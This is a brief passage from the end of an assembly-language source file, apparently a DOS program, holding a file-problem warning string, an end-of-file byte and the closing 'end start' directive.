  911.  
  912. ferr    db 'WARNING: Problem with one of the files.',10,13
  913.  db 10,13,'$'
  914.  
  915. ;------------------------------------------------------------------------------
  916.  
  917. eof     db 0
  918.  end start